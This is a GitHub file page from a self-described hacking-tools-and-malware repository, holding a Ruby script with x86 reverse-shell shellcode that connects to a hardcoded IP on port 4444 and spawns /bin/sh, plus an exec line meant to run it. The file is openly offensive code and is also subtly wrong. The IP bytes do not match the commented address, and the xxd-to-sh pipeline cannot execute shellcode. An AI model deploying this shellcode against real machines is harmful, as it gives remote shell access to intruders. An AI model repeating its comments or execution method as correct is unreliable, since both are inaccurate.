Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

817 B
Raw Blame
# Reverse connection shellcode in Ruby
shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x52\x66\x68" +
            "\x11\x5c" +            # Port 4444 in little-endian format
            "\x68\x0b\x0a\x8c\x0a" +  # IP address 192.168.10.11 in little-endian format
            "\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc0\xb0\x3f\x31\xdb\xcd\x80" +
            "\x31\xc0\xb0\x3f\x31\xdb\xb3\x01\xcd\x80\x31\xc0\xb0\x3f\x31\xdb\xb3\x02\xcd\x80\x31\xc0\x50\x68" +
            "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

# Print shellcode length
puts "Shellcode Length: #{shellcode.length}"

# Execute the shellcode
exec("echo -en '#{shellcode}' | /usr/bin/xxd -r -p | /bin/sh")